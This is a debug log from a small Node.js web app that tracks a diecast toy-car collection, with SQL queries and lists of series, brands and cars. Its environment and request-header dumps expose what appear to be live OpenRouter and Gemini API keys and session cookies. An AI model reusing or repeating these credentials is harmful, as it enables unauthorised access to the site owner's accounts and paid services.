  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 },
  { name: 'Drag Racers', id: 227 },
  { name: '1968 Vintage Club', id: 231 },
  { name: 'Then And Now', id: 232 },
  { name: 'Nightspeed', id: 233 },
  { name: "Layin' Low", id: 234 },
  { name: 'Factory Fresh', id: 235 },
  { name: 'Wagons', id: 236 },
  { name: 'Tooned', id: 237 },
  { name: 'HW Fan Driven', id: 238 },
  { name: 'Compact Kings', id: 239 },
  { name: 'Pantone', id: 240 },
  { name: 'Silver Series - Spider-Man', id: 241 },
  { name: 'Silver Series - Pontiac', id: 242 },
  { name: 'MBX Showroom', id: 243 },
  { name: 'MBX Metro', id: 244 },
  { name: 'MBX Adventure', id: 245 },
  { name: 'MBX Rescue', id: 246 },
  { name: 'MBX Roadtrip', id: 247 },
  { name: 'MBX City', id: 248 },
  { name: 'MBX Construction', id: 249 },
  { name: 'MBX Road Trip', id: 250 },
  { name: 'MBX', id: 251 }
]
2026-07-30T08:53:43.749Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 190, name: 'Plymouth' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-07-30T08:53:43.749Z server-connect:app Executing action step select
2026-07-30T08:53:43.749Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-07-30T08:53:43.753Z server-connect:output series: [
  { id: 231, name: '1968 Vintage Club' },
  { id: 239, name: 'Compact Kings' },
  { id: 227, name: 'Drag Racers' },
  { id: 235, name: 'Factory Fresh' },
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 238, name: 'HW Fan Driven' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 234, name: "Layin' Low" },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 251, name: 'MBX' },
  { id: 245, name: 'MBX Adventure' },
  { id: 248, name: 'MBX City' },
  { id: 249, name: 'MBX Construction' },
  { id: 244, name: 'MBX Metro' },
  { id: 246, name: 'MBX Rescue' },
  { id: 250, name: 'MBX Road Trip' },
  { id: 247, name: 'MBX Roadtrip' },
  { id: 243, name: 'MBX Showroom' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' },
  { id: 233, name: 'Nightspeed' },
  { id: 240, name: 'Pantone' },
  { id: 242, name: 'Silver Series - Pontiac' },
  { id: 241, name: 'Silver Series - Spider-Man' },
  { id: 232, name: 'Then And Now' },
  { id: 237, name: 'Tooned' },
  { id: 86, name: 'Vintage' },
  { id: 236, name: 'Wagons' }
]
2026-07-30T08:53:43.753Z server-connect:app Executing action step select
2026-07-30T08:53:43.753Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-07-30T08:53:43.755Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-07-30T08:53:43.757Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 194,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 175 },
    current: 1,
    total: 8
  },
  data: [
    {
      id: 251,
      model_name: '2022 Jeep Wagoneer',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-09-21T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'MBX Road Trip',
      brand_id: 73,
      series_id: 250,
      case: null,
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 250,
      model_name: 'Audi e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-10-21T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'MBX City',
      brand_id: 73,
      series_id: 248,
      case: null,
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 249,
      model_name: '2023 Jeep Avenger',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Matchbox',
      series: 'MBX Road Trip',
      brand_id: 73,
      series_id: 250,
      case: null,
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 248,
      model_name: 'Blaze Buster ll',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Matchbox',
      series: 'MBX',
      brand_id: 73,
      series_id: 251,
      case: null,
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 247,
      model_name: '2022 Ford F-150 Lightning',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Matchbox',
      series: 'MBX',
      brand_id: 73,
      series_id: 251,
      case: null,
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 246,
      model_name: 'Lamborghini LM002',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Matchbox',
      series: 'MBX Adventure',
      brand_id: 73,
      series_id: 245,
      case: null,
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 245,
      model_name: 'Alfa Romeo Duetto',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Matchbox',
      series: 'MBX Road Trip',
      brand_id: 73,
      series_id: 250,
      case: 'J',
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 244,
      model_name: '1986 Volvo 240',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Matchbox',
      series: 'MBX Showroom',
      brand_id: 73,
      series_id: 243,
      case: null,
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 243,
      model_name: 'Scania XT Fire Truck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Matchbox',
      series: 'MBX Rescue',
      brand_id: 73,
      series_id: 246,
      case: null,
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 242,
      model_name: '2023 Ford E-Transit Custom',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Matchbox',
      series: 'MBX City',
      brand_id: 73,
      series_id: 248,
      case: null,
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 241,
      model_name: '2024 Subaru WRX S4 STI',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Matchbox',
      series: 'MBX City',
      brand_id: 73,
      series_id: 248,
      case: null,
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 240,
      model_name: '2018 Dodge Durango',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Matchbox',
      series: 'MBX Adventure',
      brand_id: 73,
      series_id: 245,
      case: null,
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 239,
      model_name: 'MBX Turf Hauler II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Matchbox',
      series: 'MBX Construction',
      brand_id: 73,
      series_id: 249,
      case: null,
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 238,
      model_name: '2023 Nissan Ariya Pole to Pole',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Matchbox',
      series: 'MBX Adventure',
      brand_id: 73,
      series_id: 245,
      case: null,
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 237,
      model_name: '2016 Nissan Sentra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Matchbox',
      series: 'MBX City',
      brand_id: 73,
      series_id: 248,
      case: null,
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 236,
      model_name: 'Garbage Truck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Matchbox',
      series: 'MBX City',
      brand_id: 73,
      series_id: 248,
      case: null,
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 235,
      model_name: '2024 Maserati GranTurismo Folgore',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: null,
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 234,
      model_name: '1963 Ford Thunderbird',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: null,
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 233,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Matchbox',
      series: 'MBX Adventure',
      brand_id: 73,
      series_id: 245,
      case: null,
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 232,
      model_name: '2021 Lexus LC 500',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Matchbox',
      series: 'MBX Roadtrip',
      brand_id: 73,
      series_id: 247,
      case: null,
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 231,
      model_name: '2025 Ram 1500 REV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Matchbox',
      series: 'MBX Adventure',
      brand_id: 73,
      series_id: 245,
      case: null,
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 230,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Matchbox',
      series: 'MBX Rescue',
      brand_id: 73,
      series_id: 246,
      case: null,
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 229,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Matchbox',
      series: 'MBX Metro',
      brand_id: 73,
      series_id: 244,
      case: null,
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 228,
      model_name: '1980 Jeep J10 Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Matchbox',
      series: 'MBX Adventure',
      brand_id: 73,
      series_id: 245,
      case: null,
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 227,
      model_name: '17 Toyota Land Cruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Matchbox',
      series: 'MBX Adventure',
      brand_id: 73,
      series_id: 245,
      case: null,
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    }
  ]
}
2026-07-30T08:53:43.971Z server-connect:router Serving templateView /
2026-07-30T08:53:43.972Z server-connect:app Executing action step identify
2026-07-30T08:53:43.972Z server-connect:app options: { provider: 'security' }
2026-07-30T08:53:43.972Z server-connect:output identity: 14
2026-07-30T08:53:43.972Z server-connect:app Executing action step restrict
2026-07-30T08:53:43.972Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-30T08:53:43.973Z server-connect:output restrict: undefined
2026-07-30T08:53:43.973Z server-connect:app Executing action step restrict
2026-07-30T08:53:43.973Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-30T08:53:43.974Z server-connect:output restrict: undefined
2026-07-30T08:53:43.974Z server-connect:router Render template layouts/main
2026-07-30T08:53:43.974Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    priority: 'i',
    cookie: 'security.auth=s%3Awsw1BJgIH%2BfZI5hxuATnjA%3D%3D.fdrEdUEeox1jdydPX0sMNS8omGeW7GjgvVHO6Xc1TYAR6cEN8GLhsqE%2BEqkt2WCYPEe1LxgxQNmJ6Y%2FN%2FgMMcH86bs%2Byx%2BFjElvyxmIrEtK3RwOLTq%2F0u9inUGntd5xTxCh5oUuZRk2Xx4RgEDieLFe0AbIDZwJrotI%2BdW7arIc%3D.EAXlarOe93hyKo3xlYVK1zaWrIghvl8ltxB33U5UTM4; your_r_git.sid=s%3A45lE8Ye2Jlpp_zipIBTK7qObACdgOWap.DkOYaJ3buF83Uyo6amki0dXYocOdDn%2FN9njxn%2FG2cMA',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-31T08:53:02.801Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 14
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3Awsw1BJgIH%2BfZI5hxuATnjA%3D%3D.fdrEdUEeox1jdydPX0sMNS8omGeW7GjgvVHO6Xc1TYAR6cEN8GLhsqE%2BEqkt2WCYPEe1LxgxQNmJ6Y%2FN%2FgMMcH86bs%2Byx%2BFjElvyxmIrEtK3RwOLTq%2F0u9inUGntd5xTxCh5oUuZRk2Xx4RgEDieLFe0AbIDZwJrotI%2BdW7arIc%3D.EAXlarOe93hyKo3xlYVK1zaWrIghvl8ltxB33U5UTM4; your_r_git.sid=s%3A45lE8Ye2Jlpp_zipIBTK7qObACdgOWap.DkOYaJ3buF83Uyo6amki0dXYocOdDn%2FN9njxn%2FG2cMA',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 14,
  content: '/index'
}
2026-07-30T08:53:50.207Z server-connect:router Serving templateView /diecast-worksheet
2026-07-30T08:53:50.208Z server-connect:app Executing action step identify
2026-07-30T08:53:50.208Z server-connect:app options: { provider: 'security' }
2026-07-30T08:53:50.208Z server-connect:output identity: 14
2026-07-30T08:53:50.208Z server-connect:app Executing action step restrict
2026-07-30T08:53:50.208Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-30T08:53:50.209Z server-connect:output restrict: undefined
2026-07-30T08:53:50.209Z server-connect:router Render template diecast-worksheet
2026-07-30T08:53:50.209Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
